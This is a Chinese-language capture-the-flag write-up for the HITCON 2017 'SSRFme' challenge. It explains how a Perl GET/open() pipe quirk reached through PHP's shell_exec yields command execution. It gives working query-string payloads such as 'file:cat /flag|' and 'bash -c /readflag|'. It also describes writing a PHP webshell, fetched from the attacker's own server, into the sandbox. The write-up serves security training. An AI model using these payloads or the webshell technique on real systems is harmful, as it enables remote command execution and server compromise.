[HITCON 2017]SSRFme
题目
打开就是源码还有ip
|
题目先获取ip地址,然后利用md5函数,创建路径并进入到路径下。
之后将得到的url参数执行shell_exec命令,再得到filename参数中的路径信息,并且对路径中的.进行替换为空,防止路径穿越。
创建filename中的路径,再到路径下,之后把data数据内容写入到basename(即filename参数中的文件)中
知识
basename — 返回路径中的文件名部分
escapeshellarg — 把字符串转义为可以在 shell 命令里使用的参数
将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。shell 函数包含exec()、system() 和执行运算符 。
shell_exec — 通过 shell 执行命令并将完整的输出以字符串的方式返回
pathinfo()函数
pathinfo() 函数以数组的形式返回关于文件路径的信息。dirname是路径名,basename是文件全称。
GET命令执行漏洞
GET 如:GET google.com 返回整个HTML文件 详情 http://xahlee.info/perl/perl_get_url.html
Perl里的Get函数漏洞,Get底层调用了open函数,open函数本身支持file协议 即可以file:打开文件。
perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。
即可以GET file:cat /flag|
解题
法一
首先查看根目录内容
?url=/&filename=a然后访问/sandbox/xxxxx/a 可以看见根目录下有flag和readflag(这个一般是要执行)
?url=xxx&filename=cat /flag|
此时会访问url,然后将内容写入cat /flag| 文件里面(此时访问/sandbox/xxxxx/cat /flag| 可以看见内容)
再url=file:cat /flag|&filename=123.txt
即利用file协议读取目标内容,配合漏洞,将结果写入123.txt
最后访问/sandbox/xxxxx/123.txt 即可得到答案
或者open函数支持file协议; 可以利用base -c "cmd"进行命令执行
?url=&filename=bash -c /readflag|
再利用file协议查看
?url=file:bash -c /readflag|&filename=a
在访问/sandbox/xxxxxxxxxxxxxxxx/a 得到flag
法二
由于可以将GET得到的内容写入文件,那么在服务器上放一句话木马,就可以写入xxx.php文件,而后直接链接。
payload:?filename=ma.php&url=xxx/xxx.txt
而后直接访问/sandbox/xxxxxxxxxxxxxxxx/ma.php
(注意坑:只有写入功能,所以要是文件名没改会多次写入,可能就写错了导致执行不了木马了)
参考
https://blog.csdn.net/RABCDXB/article/details/122491499
https://blog.csdn.net/qq_45521281/article/details/105868449
[(123条消息) 关于BMZCTF hitcon_2017_ssrfme的解法_永远是少年啊的博客-CSDN博客_hitcon 2017]ssrfme
(123条消息) i春秋CTF ssrfme (peal函数中get命令漏洞)命令执行 详细题解+原理 学习过程_AAAAAAAAAAAA66的博客-CSDN博客_ctf get 命令执行


